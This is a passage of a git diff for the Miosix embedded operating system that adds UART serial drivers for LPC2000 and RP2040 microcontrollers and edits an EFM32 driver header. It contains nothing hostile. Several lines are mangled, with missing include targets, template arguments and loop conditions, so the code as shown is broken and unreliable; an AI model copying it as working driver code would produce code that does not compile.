id, int baudrate, GpioPin tx, GpioPin rx); /** * Read a block of data @@ -82,8 +83,6 @@ class EFM32Serial : public Device * which is used by the kernel on console devices to write debug information * before the kernel is started or in case of serious errors, right before * rebooting. - * Can ONLY be called when the kernel is not yet started, paused or within - * an interrupt. This default implementation ignores writes. * \param str the string to write. The string must be NUL terminated. */ void IRQwrite(const char *str); @@ -96,17 +95,6 @@ class EFM32Serial : public Device */ int ioctl(int cmd, void *arg); - /** - * \internal the serial port interrupts call this member function. - * Never call this from user code. - */ - void IRQhandleInterrupt(); - - /** - * \return port id, 0 for USART0, ... - */ - int getId() const { return portId; } - /** * Destructor */ @@ -118,16 +106,20 @@ class EFM32Serial : public Device */ void waitSerialTxFifoEmpty(); - FastMutex txMutex; ///< Mutex locked during transmission - FastMutex rxMutex; ///< Mutex locked during reception + /** + * Port interrupt handler + */ + void IRQinterruptHandler(); + + KernelMutex txMutex; ///< Mutex locked during transmission + KernelMutex rxMutex; ///< Mutex locked during reception DynUnsyncQueue rxQueue; ///< Receiving queue static const unsigned int rxQueueMin=1; ///< Minimum queue size - Thread *rxWaiting; ///< Thread waiting for rx, or 0 + Thread *rxWaiting; ///< Thread waiting for rx, or nullptr USART_TypeDef *port; ///< Pointer to USART peripheral - - const unsigned char portId; ///< 0 for USART0, ... + IRQn_Type irqn; ///< Interrupt number int baudrate; ///< Baudrate }; diff --git a/miosix/arch/drivers/serial/lpc2000_serial.cpp b/miosix/arch/drivers/serial/lpc2000_serial.cpp new file mode 100644 index 000000000..a0cef60c7 --- /dev/null +++ b/miosix/arch/drivers/serial/lpc2000_serial.cpp @@ -0,0 +1,234 @@ +/*************************************************************************** + * Copyright (C) 2008, 2009, 2010, 2011, 2012, 2013, 2014 * + * by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include +#include +#include +#include "lpc2000_serial.h" +#include "kernel/sync.h" +#include "filesystem/ioctl.h" +#include "interfaces_private/cpu.h" +#include "LPC213x.h" + +namespace miosix { + +// +// class LPC2000Serial +// + +// A note on the baudrate/500: the buffer is selected so as to withstand +// 20ms of full data rate. In the 8N1 format one char is made of 10 bits. +// So (baudrate/10)*0.02=baudrate/500 +LPC2000Serial::LPC2000Serial(int id, int baudrate) : Device(Device::TTY), + txQueue(swTxQueue), rxQueue(hwRxQueueLen+baudrate/500), + txWaiting(nullptr), rxWaiting(nullptr), idle(true) +{ + GlobalIrqLock dLock; + if(id<0 || id>1) errorHandler(Error::UNEXPECTED); + if(id==0) + { + serial=reinterpret_cast(0xe000c000); + PCONP|=(1<<3);//Enable UART0 peripheral + PINSEL0&=~(0xf);//Clear bits 0 to 3 of PINSEL0 + PINSEL0|=0x5;//Set p0.0 as TXD and p0.1 as RXD + IRQregisterIrq(dLock,UART0_IRQn,&LPC2000Serial::IRQhandleInterrupt,this); + } else { + serial=reinterpret_cast(0xe0010000); + PCONP|=(1<<4);//Enable UART1 peripheral + PINSEL0&=~(0xf0000);//Clear bits 16 to 19 of PINSEL0 + PINSEL0|=0x50000;//Set p0.8 as TXD and p0.9 as RXD + IRQregisterIrq(dLock,UART1_IRQn,&LPC2000Serial::IRQhandleInterrupt,this); + } + serial->LCR=0x3;//DLAB disabled + //0x07= fifo enabled, reset tx and rx hardware fifos + //0x80= uart rx fifo trigger level 8 characters + serial->FCR=0x07 | 0x80; + serial->LCR=0x83;//8data bit, 1stop, no parity, DLAB enabled + int div=peripheralFrequency/16/baudrate; + serial->DLL=div & 0xff; + serial->DLM=(div>>8) & 0xff; + serial->LCR=0x3;//DLAB disabled + serial->IER=0x7;//Enable RLS, RDA, CTI and THRE interrupts +} + +ssize_t LPC2000Serial::readBlock(void *buffer, size_t size, off_t where) +{ + Lock l(rxMutex); + char *buf=reinterpret_cast(buffer); + size_t result=0; + FastGlobalIrqLock dLock; + for(;;) + { + //Try to get data from the queue + for(;result0) break; + if(result==size) break; + //Wait for data in the queue + rxWaiting=Thread::IRQgetCurrentThread(); + do Thread::IRQglobalIrqUnlockAndWait(dLock); while(rxWaiting); + } + return result; +} + +ssize_t LPC2000Serial::writeBlock(const void *buffer, size_t size, off_t where) +{ + Lock l(txMutex); + FastGlobalIrqLock dLock; + size_t len=size; + const char *buf=reinterpret_cast(buffer); + while(len>0) + { + //If no data in software and hardware queue + if((serial->LSR & (1<<5)) && (txQueue.isEmpty())) + { + //Fill hardware queue first + for(int i=0;iTHR=*buf++; + len--; + if(len==0) break; + } + } else { + if(txQueue.tryPut(*buf)) + { + buf++; + len--; + } else { + txWaiting=Thread::IRQgetCurrentThread(); + do Thread::IRQglobalIrqUnlockAndWait(dLock); while(txWaiting); + } + } + } + return size; +} + +void LPC2000Serial::IRQwrite(const char *str) +{ + while((*str)!='\0') + { + //Wait until the hardware fifo is ready to accept one char + while(!(serial->LSR & (1<<5))) ; //wait + serial->THR=*str++; + } + waitSerialTxFifoEmpty(); +} + +int LPC2000Serial::ioctl(int cmd, void* arg) +{ + if(reinterpret_cast(arg) & 0b11) return -EFAULT; //Unaligned + termios *t=reinterpret_cast(arg); + switch(cmd) + { + case IOCTL_SYNC: + waitSerialTxFifoEmpty(); + return 0; + case IOCTL_TCGETATTR: + t->c_iflag=IGNBRK | IGNPAR; + t->c_oflag=0; + t->c_cflag=CS8; + t->c_lflag=0; + return 0; + case IOCTL_TCSETATTR_NOW: + case IOCTL_TCSETATTR_DRAIN: + case IOCTL_TCSETATTR_FLUSH: + //Changing things at runtime unsupported, so do nothing, but don't + //return error as console_device.h implements some attribute changes + return 0; + default: + return -ENOTTY; //Means the operation does not apply to this descriptor + } +} + +void LPC2000Serial::IRQhandleInterrupt() +{ + char c; + bool wakeup=false; + switch(serial->IIR & 0xf) + { + case 0x6: //RLS + c=serial->LSR;//Read LSR to clear interrupt + c=serial->RBR;//Read RBR to discard char that caused error + break; + case 0x4: //RDA + //Note: read one less char than HARDWARE_RX_QUEUE_LENGTH as the + //CTI interrupt only occurs if there's at least one character in + //the buffer, and we always want the CTI interrupt + for(int i=0;iRBR)==false) /*fifo overflow*/; + wakeup=true; + idle=false; + break; + case 0xc: //CTI + while(serial->LSR & (1<<0)) + if(rxQueue.tryPut(serial->RBR)==false) /*fifo overflow*/; + wakeup=true; + idle=true; + break; + case 0x2: //THRE + for(int i=0;iIRQwakeup(); + txWaiting=nullptr; + } + if(txQueue.tryGet(c)==false) break; //If software queue empty, stop + serial->THR=c; + } + break; + } + if(wakeup && rxWaiting) + { + rxWaiting->IRQwakeup(); + rxWaiting=nullptr; + } +} + +LPC2000Serial::~LPC2000Serial() +{ + waitSerialTxFifoEmpty(); + + GlobalIrqLock dLock; + serial->LCR=0;//DLAB disabled + serial->FCR=0; + if(serial==reinterpret_cast(0xe000c000)) + { + IRQunregisterIrq(dLock,UART0_IRQn,&LPC2000Serial::IRQhandleInterrupt,this); + PINSEL0&=~0xf; + } else { + IRQunregisterIrq(dLock,UART1_IRQn,&LPC2000Serial::IRQhandleInterrupt,this); + PINSEL0&=~0xf0000; + } +} + +} //namespace miosix diff --git a/miosix/arch/drivers/serial/lpc2000_serial.h b/miosix/arch/drivers/serial/lpc2000_serial.h new file mode 100644 index 000000000..e4a6a9cbc --- /dev/null +++ b/miosix/arch/drivers/serial/lpc2000_serial.h @@ -0,0 +1,183 @@ +/*************************************************************************** + * Copyright (C) 2008, 2009, 2010, 2011, 2012, 2013, 2014 * + * by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#ifndef SERIAL_LPC2000_H +#define SERIAL_LPC2000_H + +#include "filesystem/console/console_device.h" +#include "kernel/sync.h" +#include "kernel/queue.h" +#include "interfaces/delays.h" + +namespace miosix { + +/** + * Serial port class for LPC2000 microcontrollers. + * + * Classes of this type are reference counted, must be allocated on the heap + * and managed through intrusive_ref_ptr + */ +class LPC2000Serial : public Device +{ +public: + /** + * Constructor, initializes the serial port. + * Calls errorHandler(Error::UNEXPECTED) if id is not in the correct range, or when + * attempting to construct multiple objects with the same id. That is, + * it is possible to instantiate only one instance of this class for each + * hardware USART. + * \param id 0=USART0, 1=USART1 + * \param baudrate serial port baudrate. + */ + LPC2000Serial(int id, int baudrate); + + /** + * Read a block of data + * \param buffer buffer where read data will be stored + * \param size buffer size + * \param where where to read from + * \return number of bytes read or a negative number on failure + */ + ssize_t readBlock(void *buffer, size_t size, off_t where); + + /** + * Write a block of data + * \param buffer buffer where take data to write + * \param size buffer size + * \param where where to write to + * \return number of bytes written or a negative number on failure + */ + ssize_t writeBlock(const void *buffer, size_t size, off_t where); + + /** + * Write a string. + * An extension to the Device interface that adds a new member function, + * which is used by the kernel on console devices to write debug information + * before the kernel is started or in case of serious errors, right before + * rebooting. + * \param str the string to write. The string must be NUL terminated. + */ + void IRQwrite(const char *str); + + /** + * Performs device-specific operations + * \param cmd specifies the operation to perform + * \param arg optional argument that some operation require + * \return the exact return value depends on CMD, -1 is returned on error + */ + int ioctl(int cmd, void *arg); + + /** + * \internal the serial port interrupts call this member function. + * Never call this from user code. + */ + void IRQhandleInterrupt(); + + /** + * Destructor + */ + ~LPC2000Serial(); + +private: + /** + * Wait until all characters have been written to the serial port + */ + void waitSerialTxFifoEmpty() + { + while((serial->LSR & (1<<6))==0) ; + + //This delay has been added to fix a quirk on the Miosix board. When + //writing a message to the console and rebooting, if the reboot happens + //too fast with respect to the last character sent out of the serial + //port, the FT232 gets confused and the last charcters are lost, + //probably from the FT232 buffer. Using delayMs() to be callable from IRQ + delayMs(2); + } + + /** + * The registers of the USART in struct form, to make a generic driver + */ + struct Usart16550 + { + //Offset 0x00 + union { + volatile unsigned char RBR; + volatile unsigned char THR; + volatile unsigned char DLL; + }; + char padding0[3]; + //Offset 0x04 + union { + volatile unsigned char IER; + volatile unsigned char DLM; + }; + char padding1[3]; + //Offset 0x08 + union { + volatile unsigned char IIR; + volatile unsigned char FCR; + }; + char padding2[3]; + //Offset 0x0c + volatile unsigned char LCR; + char padding3[3]; + //Offset 0x10 + volatile unsigned char MCR; //Only USART1 has this + char padding4[3]; + //Offset 0x14 + volatile unsigned char LSR; + char padding5[7]; + //Offset 0x1c + volatile unsigned char SCR; + char padding6[19]; + //Offset 0x30 + volatile unsigned char TER; + }; + + //Configure the software queue here + static const int swTxQueue=32;///< Size of tx software queue + + //The hardware queues cannot be modified, since their length is hardware-specific + static const int hwTxQueueLen=16; + static const int hwRxQueueLen=8; + + KernelMutex txMutex;///< Mutex used to guard the tx queue + KernelMutex rxMutex;///< Mutex used to guard the rx queue + + DynUnsyncQueue txQueue;///< Rx software queue + DynUnsyncQueue rxQueue;///< Rx software queue + Thread *txWaiting; ///< Thread waiting on rx queue + Thread *rxWaiting; ///< Thread waiting on rx queue + bool idle; ///< Receiver idle + + Usart16550 *serial; ///< Serial port registers +}; + +} //namespace miosix + +#endif //SERIAL_LPC2000_H diff --git a/miosix/arch/drivers/serial/rp2040_serial.cpp b/miosix/arch/drivers/serial/rp2040_serial.cpp new file mode 100644 index 000000000..681c98d42 --- /dev/null +++ b/miosix/arch/drivers/serial/rp2040_serial.cpp @@ -0,0 +1,241 @@ +/*************************************************************************** + * Copyright (C) 2024,2025 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include +#include +#include "miosix_settings.h" +#include "kernel/lock.h" +#include "filesystem/ioctl.h" +#include "rp2040_serial.h" +#include "drivers/rp2040_dma.h" + +namespace miosix { + +RP2040PL011DmaSerial::RP2040PL011DmaSerial(int number, int baudrate, + GpioPin tx, GpioPin rx, GpioPin rts, GpioPin cts) noexcept + : Device(Device::TTY), rxQueue(32+baudrate/500) +{ + GlobalIrqLock lock; + tx.function(Function::UART); tx.mode(Mode::OUTPUT); + rx.function(Function::UART); rx.mode(Mode::INPUT); + if(rts.isValid()) { rts.function(Function::UART); rts.mode(Mode::OUTPUT); } + if(cts.isValid()) { cts.function(Function::UART); cts.mode(Mode::INPUT); } + unsigned int irqn; + switch(number) + { + case 0: + clocks_hw->wake_en1|=CLOCKS_WAKE_EN1_CLK_SYS_UART0_BITS + | CLOCKS_WAKE_EN1_CLK_PERI_UART0_BITS; + clocks_hw->sleep_en1|=CLOCKS_SLEEP_EN1_CLK_SYS_UART0_BITS + | CLOCKS_SLEEP_EN1_CLK_PERI_UART0_BITS; + unreset_block_wait(RESETS_RESET_UART0_BITS); + uart=uart0_hw; + irqn=UART0_IRQ_IRQn; + break; + case 1: + clocks_hw->wake_en1|=CLOCKS_WAKE_EN1_CLK_SYS_UART1_BITS + | CLOCKS_WAKE_EN1_CLK_PERI_UART1_BITS; + clocks_hw->sleep_en1|=CLOCKS_SLEEP_EN1_CLK_SYS_UART1_BITS + | CLOCKS_SLEEP_EN1_CLK_PERI_UART1_BITS; + unreset_block_wait(RESETS_RESET_UART1_BITS); + uart=uart1_hw; + irqn=UART1_IRQ_IRQn; + break; + default: + errorHandler(Error::UNEXPECTED); + } + // Configure interrupts + IRQregisterIrq(lock,irqn,&RP2040PL011DmaSerial::IRQhandleInterrupt,this); + uart->ifls = (2<ibrd = div; + uart->fbrd = frac; + // Line configuration and UART enable + uart->lcr_h = (3 << UART_UARTLCR_H_WLEN_LSB) | UART_UARTLCR_H_FEN_BITS; + uart->cr= + UART_UARTCR_UARTEN_BITS + | UART_UARTCR_TXE_BITS + | UART_UARTCR_RXE_BITS + | (rts.isValid()?UART_UARTCR_RTSEN_BITS:0) + | (cts.isValid()?UART_UARTCR_CTSEN_BITS:0); + // DMA enable + uart->dmacr = UART_UARTDMACR_TXDMAE_BITS; +} + +ssize_t RP2040PL011DmaSerial::readBlock(void *buffer, size_t size, off_t where) +{ + if(size==0) return 0; + Lock lock(rxMutex); + auto bytes = reinterpret_cast(buffer); + size_t i = 0; + // Block until we can read the first byte + rxQueue.get(bytes[i++]); + // Get bytes as long as there are bytes in the software queue or the + // hardware FIFO. + // As the interrupt handler never empties the FIFO unless the line is idle, + // this also tells us if the line is idle and we should stop. + while(ifr & UART_UARTFR_RXFE_BITS) || !rxQueue.isEmpty())) + { + rxQueue.get(bytes[i++]); + // Ensure the read interrupts can be serviced to read the next byte. + // The interrupt routine disables them on sw queue full. + if(rxQueue.free()>=32) enableRXInterrupts(); + } + return i; +} + +ssize_t RP2040PL011DmaSerial::writeBlock(const void *buffer, size_t size, off_t where) +{ + if(size==0) return 0; + Lock lock(txMutex); + dma_hw->ch[txDmaCh].read_addr=reinterpret_cast(buffer); + dma_hw->ch[txDmaCh].write_addr=reinterpret_cast(&uart->dr); + dma_hw->ch[txDmaCh].transfer_count=size; + unsigned int dreq=(uart==uart0_hw)?20:22; + { + FastGlobalIrqLock lock; + dma_hw->ch[txDmaCh].ctrl_trig= + (dreq<ch[txDmaCh].al1_ctrl)&DMA_CH0_CTRL_TRIG_BUSY_BITS)) break; + txWaiting=Thread::IRQgetCurrentThread(); + while(txWaiting) Thread::IRQglobalIrqUnlockAndWait(lock); + } + dma_hw->ch[txDmaCh].al1_ctrl=0; + } + return size; +} + +void RP2040PL011DmaSerial::IRQwrite(const char *str) +{ + // Wait for any pending DMA transfer to complete + while(!(uart->fr & UART_UARTFR_TXFE_BITS)) ; + // Write to the data register directly + for(int i=0; str[i] != '\0'; i++) + { + while(uart->fr & UART_UARTFR_TXFF_BITS) ; + uart->dr = str[i]; + } + // Flush + while(!(uart->fr & UART_UARTFR_TXFE_BITS)) ; +} + +int RP2040PL011DmaSerial::ioctl(int cmd, void *arg) +{ + if(reinterpret_cast(arg) & 0b11) return -EFAULT; //Unaligned + termios *t=reinterpret_cast(arg); + switch(cmd) + { + case IOCTL_SYNC: + while(!(uart->fr & UART_UARTFR_TXFE_BITS)) ; + return 0; + case IOCTL_TCGETATTR: + t->c_iflag=IGNBRK | IGNPAR; + t->c_oflag=0; + t->c_cflag=CS8; + t->c_lflag=0; + return 0; + case IOCTL_TCSETATTR_NOW: + case IOCTL_TCSETATTR_DRAIN: + case IOCTL_TCSETATTR_FLUSH: + //Changing things at runtime unsupported, so do nothing, but don't + //return error as console_device.h implements some attribute changes + return 0; + default: + return -ENOTTY; //Means the operation does not apply to this descriptor + } +} + +RP2040PL011DmaSerial::~RP2040PL011DmaSerial() +{ + GlobalIrqLock lock; + //Disable UART operation + uart->cr = 0; + if(uart==uart0_hw) + { + IRQunregisterIrq(lock,UART0_IRQ_IRQn,&RP2040PL011DmaSerial::IRQhandleInterrupt,this); + clocks_hw->wake_en1&=~(CLOCKS_WAKE_EN1_CLK_SYS_UART0_BITS + | CLOCKS_WAKE_EN1_CLK_PERI_UART0_BITS); + clocks_hw->sleep_en1&=~(CLOCKS_SLEEP_EN1_CLK_SYS_UART0_BITS + | CLOCKS_SLEEP_EN1_CLK_PERI_UART0_BITS); + reset_block(RESETS_RESET_UART0_BITS); + } else { + IRQunregisterIrq(lock,UART1_IRQ_IRQn,&RP2040PL011DmaSerial::IRQhandleInterrupt,this); + clocks_hw->wake_en1&=~(CLOCKS_WAKE_EN1_CLK_SYS_UART1_BITS + | CLOCKS_WAKE_EN1_CLK_PERI_UART1_BITS); + clocks_hw->sleep_en1&=~(CLOCKS_SLEEP_EN1_CLK_SYS_UART1_BITS + | CLOCKS_SLEEP_EN1_CLK_PERI_UART1_BITS); + reset_block(RESETS_RESET_UART1_BITS); + } + RP2040Dma::IRQunregisterChannel(lock,txDmaCh,&RP2040PL011DmaSerial::IRQhandleDmaInterrupt,this); +} + +void RP2040PL011DmaSerial::IRQhandleInterrupt() noexcept +{ + FastGlobalLockFromIrq dLock; + uint32_t flags = uart->mis; + if(flags & (UART_UARTMIS_RXMIS_BITS|UART_UARTMIS_RTMIS_BITS)) + { + // Read enough data to clear the interrupt status, + // or until the software-side queue is full + while((uart->mis & (UART_UARTMIS_RXMIS_BITS | UART_UARTMIS_RTMIS_BITS)) + && !rxQueue.isFull()) + rxQueue.IRQput(static_cast(uart->dr)); + // If the sw queue is full, mask RX interrupts temporarily. The + // device read handler will un-mask them when the queue has some + // space again. If there was more data to read and hence the interrupt + // flag was not cleared, un-masking the interrupts causes the immediate + // reentry in this interrupt handler, which allows to finish the work + // without losing the line idle status information (which only exists + // in the interrupt flags). + if(rxQueue.isFull()) disableRXInterrupts(); + } +} + +void RP2040PL011DmaSerial::IRQhandleDmaInterrupt() noexcept +{ + // We do not take the GIL because the DMA code already did + if(txWaiting) + { + txWaiting->IRQwakeup(); + txWaiting=nullptr; + } +} + +} // namespace miosix diff --git a/miosix/arch/drivers/serial/rp2040_serial.h b/miosix/arch/drivers/serial/rp2040_serial.h new file mode 100644 index 000000000..6a7770da6 --- /dev/null +++ b/miosix/arch/drivers/serial/rp2040_serial.h @@ -0,0 +1,211 @@ +/*************************************************************************** + * Copyright (C) 2024,2025 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "filesystem/console/console_device.h" +#include "kernel/sync.h" +#include "kernel/queue.h" +#include "interfaces/arch_registers.h" +#include "arm_pl011_serial.h" + +namespace miosix { + +/** + * RP2040 no DMA driver for the PL011 serial hardware. + */ +class RP2040PL011Serial : public PL011Serial +{ +public: + /** + * Constructor, initializes the serial port. + * Calls errorHandler(Error::UNEXPECTED) if the port is already being used by + * another instance of this driver. + * \param number usart number + * \param baudrate serial port baudrate + * \param tx GPIO to configure as usart tx, see datasheet for restrictions + * \param rx GPIO to configure as usart rx, see datasheet for restrictions + * \param rts GPIO to configure as usart rts, see datasheet for restrictions + * \param cts GPIO to configure as usart cts, see datasheet for restrictions + */ + RP2040PL011Serial(int number, int baudrate, + GpioPin tx, GpioPin rx, GpioPin rts=GpioPin(), GpioPin cts=GpioPin()) + : PL011Serial(getBase(number), getIrqn(number), peripheralFrequency, 32+baudrate/500) + { + GlobalIrqLock lock; + switch(number) + { + case 0: + clocks_hw->wake_en1|=CLOCKS_WAKE_EN1_CLK_SYS_UART0_BITS + | CLOCKS_WAKE_EN1_CLK_PERI_UART0_BITS; + clocks_hw->sleep_en1|=CLOCKS_SLEEP_EN1_CLK_SYS_UART0_BITS + | CLOCKS_SLEEP_EN1_CLK_PERI_UART0_BITS; + unreset_block_wait(RESETS_RESET_UART0_BITS); + break; + case 1: + clocks_hw->wake_en1|=CLOCKS_WAKE_EN1_CLK_SYS_UART1_BITS + | CLOCKS_WAKE_EN1_CLK_PERI_UART1_BITS; + clocks_hw->sleep_en1|=CLOCKS_WAKE_EN1_CLK_SYS_UART1_BITS + | CLOCKS_WAKE_EN1_CLK_PERI_UART1_BITS; + unreset_block_wait(RESETS_RESET_UART1_BITS); + break; + default: + errorHandler(Error::UNEXPECTED); + } + initialize(lock,baudrate,rts.isValid(),cts.isValid()); + tx.function(Function::UART); tx.mode(Mode::OUTPUT); + rx.function(Function::UART); rx.mode(Mode::INPUT); + if(rts.isValid()) { rts.function(Function::UART); rts.mode(Mode::OUTPUT); } + if(cts.isValid()) { cts.function(Function::UART); cts.mode(Mode::INPUT); } + } + +private: + static void *getBase(int n) { return reinterpret_cast(n==0 ? uart0_hw : uart1_hw); } + static unsigned int getIrqn(int n) { return n==0 ? UART0_IRQ_IRQn : UART1_IRQ_IRQn; } +}; + +/** + * RP2040 DMA driver for the PL011 serial hardware. + */ +class RP2040PL011DmaSerial : public Device +{ +public: + /** + * Constructor, initializes the serial port. + * Calls errorHandler(Error::UNEXPECTED) if the port is already being used by + * another instance of this driver. + * \param number usart number + * \param baudrate serial port baudrate + * \param tx GPIO to configure as usart tx, see datasheet for restrictions + * \param rx GPIO to configure as usart rx, see datasheet for restrictions + * \param rts GPIO to configure as usart rts (see datasheet for + * restrictions) or an invalid pin to disable hardware flow control for + * transmission + * \param cts GPIO to configure as usart cts (see datasheet for + * restrictions) or an invalid pin to disable hardware flow control for + * reception + */ + RP2040PL011DmaSerial(int number, int baudrate, GpioPin tx, GpioPin rx, + GpioPin rts=GpioPin(), GpioPin cts=GpioPin()) noexcept; + + /** + * Read a block of data + * \param buffer buffer where read data will be stored + * \param size buffer size + * \param where where to read from + * \return number of bytes read or a negative number on failure. Note that + * it is normal for this function to return less character than the amount + * asked + */ + ssize_t readBlock(void *buffer, size_t size, off_t where); + + /** + * Write a block of data + * \param buffer buffer where take data to write + * \param size buffer size + * \param where where to write to + * \return number of bytes written or a negative number on failure + */ + ssize_t writeBlock(const void *buffer, size_t size, off_t where); + + /** + * Write a string. + * An extension to the Device interface that adds a new member function, + * which is used by the kernel on console devices to write debug information + * before the kernel is started or in case of serious errors, right before + * rebooting. + * \param str the string to write. The string must be NUL terminated. + */ + void IRQwrite(const char *str); + + /** + * Performs device-specific operations + * \param cmd specifies the operation to perform + * \param arg optional argument that some operation require + * \return the exact return value depends on CMD, -1 is returned on error + */ + int ioctl(int cmd, void *arg); + + /** + * Destructor + */ + ~RP2040PL011DmaSerial(); + +private: + /// \internal the serial port interrupts call this member function. + /// Never call this from user code. + void IRQhandleInterrupt() noexcept; + + /// \internal the DMA interrupts call this member function. + /// Never call this from user code. + void IRQhandleDmaInterrupt() noexcept; + + // Internal function to disable RX interrupts when the buffer is full + inline void disableRXInterrupts() noexcept + { + uart->imsc = 0; + } + + // Internal function to enable RX interrupts for normal operation + inline void enableRXInterrupts() noexcept + { + uart->imsc = UART_UARTIMSC_RTIM_BITS + | UART_UARTIMSC_RXIM_BITS; + } + + uart_hw_t *uart; ///< Pointer to the hardware registers + unsigned char txDmaCh; ///< Channel for DMA transmission + KernelMutex txMutex; ///< Mutex locked during transmission + KernelMutex rxMutex; ///< Mutex locked during reception + Thread *txWaiting=nullptr; ///< Thread waiting for the end of a TX + /// Software queue used for buffering bytes from the hardware RX FIFO + DynQueue rxQueue; +}; + +class RP2040SerialBase +{ +public: + template + static intrusive_ref_ptr get(unsigned int id, unsigned int speed, + bool flowctrl, bool dma) + { + if(!flowctrl&&!dma) + return intrusive_ref_ptr(new RP2040PL011Serial(id,speed, + Tx::getPin(),Rx::getPin())); + else if(!flowctrl&&dma) + return intrusive_ref_ptr(new RP2040PL011DmaSerial(id,speed, + Tx::getPin(),Rx::getPin())); + else if(flowctrl&&!dma) + return intrusive_ref_ptr(new RP2040PL011Serial(id,speed, + Tx::getPin(),Rx::getPin(),Rts::getPin(),Cts::getPin())); + else //if(flowctrl&&dma) + return intrusive_ref_ptr(new RP2040PL011DmaSerial(id,speed, + Tx::getPin(),Rx::getPin(),Rts::getPin(),Cts::getPin())); + } +}; + +} //namespace miosix diff --git a/miosix/arch/drivers/serial/stm32_serial_common.cpp b/miosix/arch/drivers/serial/stm32_serial_common.cpp new file mode 100644 index 000000000..64fa397a2 --- /dev/null +++ b/miosix/arch/drivers/serial/stm32_serial_common.cpp @@ -0,0 +1,54 @@ +/*************************************************************************** + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "stm32_serial_common.h" + +using namespace miosix; + +#if defined(ALTFUNC_STM32F2_SPLIT) + +void STM32SerialAltFunc::set(GpioPin& pin, bool pullUp) const +{ + //First we set the AF then the mode to avoid glitches + pin.alternateFunction(lookup(pin)); + if(pullUp) pin.mode(Mode::ALTERNATE_PULL_UP); + else pin.mode(Mode::ALTERNATE); +} + +inline unsigned char STM32SerialAltFunc::lookup(GpioPin& gpio) const +{ + unsigned char port=(gpio.getPort()-GPIOA_BASE)/0x400; + unsigned char pin=gpio.getNumber(); + int i; + for(i=0; spans[i].port!=0 || spans[i].pin!=0; i++) { + if(spans[i].port>port || (spans[i].port==port && spans[i].pin>pin)) + return spans[i].af; + } + return spans[i].af; +} + +#endif diff --git a/miosix/arch/drivers/serial/stm32_serial_common.h b/miosix/arch/drivers/serial/stm32_serial_common.h new file mode 100644 index 000000000..eefe70be0 --- /dev/null +++ b/miosix/arch/drivers/serial/stm32_serial_common.h @@ -0,0 +1,674 @@ +/*************************************************************************** + * Copyright (C) 2010-2018 by Terraneo Federico * + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be 